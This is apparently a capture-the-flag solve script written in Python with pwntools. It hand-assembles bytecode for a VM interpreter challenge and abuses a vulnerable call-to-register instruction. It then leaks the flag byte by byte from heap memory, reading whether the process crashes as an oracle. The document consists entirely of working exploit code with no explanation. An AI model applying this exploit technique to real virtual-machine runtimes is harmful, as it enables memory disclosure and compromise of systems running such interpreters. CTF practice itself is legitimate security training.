/..

#CONTENT

#TOP

solve.py
PYTHON
from pwn import *
from base64 import b64encode

name = "../chal/chal"

context.terminal = ["kitty"]
context.log_level = "ERROR"
gdbscript = """
b fd_vm_interp_dispatch_tab.c:393
c
"""

LOG_DATA = 0x7317b434
LOG = 0x207559bd

def syscall(hash):
    return p32(0x85) + p32(hash)

def mvr(dst, src):
    return p8(0xbf) + p8(dst + (src << 4)) + p16(0) + p32(0)

def ldq(dst, num):
    return p8(0x18) + p8(dst) + p16(0) + p32(num % (1 << 32)) + p32(0) + p32(num >> 32)

def call(off):
    return p8(0x85) + p8(0) * 3 + p32(off)

def stq(base, src):
    return p8(0x7b) + p8(base + (src << 4)) + p16(0) + p32(0)

def nop():
    return p64(4)

def xit():
    return p64(0x95)

def vuln(reg):
    return p8(0x8d) + p8(0) * 3 + p32(reg)

def jmp(off):
    return p8(5) + p8(0) + p16(off % (1 << 16)) + p32(0)

def andi(reg, imm):
    return p8(0x54) + p8(reg) + p16(0) + p32(imm)

def subi(reg, imm):
    return p8(0x14) + p8(reg) + p16(0) + p32(imm)

def jeq(reg, imm, off):
    return p8(0x15) + p8(reg) + p16(off) + p32(imm)

RDONLY = 0x100000000
HEAP   = 0x300000000
INPUT  = 0x400000000

def check(guess: int, offset: int):
    if args.GDB:
        p = gdb.debug(name, gdbscript=gdbscript)
    elif args.REMOTE or args.HOST or args.PORT:
        p = remote(args.HOST or "localhost", args.PORT or "5000")
    else:
        p = process(name)

    def pc():
        return len(instrs) + 8
    
    readonly = b""
    readonly += mvr(0, 13)
    readonly += andi(0, 0xff)
    readonly += jeq(0, guess, 1)
    readonly += xit()
    readonly += ldq(0, 0x13371337)
    readonly += vuln(0)
    readonly += xit()

    instrs =  b""
    instrs += ldq(1, HEAP+0x1337 + offset)
    instrs += ldq(2, -(1 << 12) % (1 << 64))
    instrs += syscall(LOG)

    instrs += ldq(0, 0x4000)
    instrs += vuln(0)
    instrs += xit()

    program =  b""
    program += instrs
    program =  program.ljust(0x4000, b"\x04")
    program += readonly
    program =  program.ljust(0x8000, b"\x00")

    p.sendlineafter(b": ", f"{len(program)}".encode());
    p.sendafter(b": ", program)
    p.sendlineafter(b": ", f"{len(instrs) // 8}".encode())

    try:
        p.recvline()
        p.close()
        return False
    except:
        p.close()
        return True

flag = ""
idx = 0
while not flag.endswith("}"):
    for byte in range(0x20, 0x7f):
        if check(byte, idx):
            flag += chr(byte)
            break

    print(flag)
    idx += 1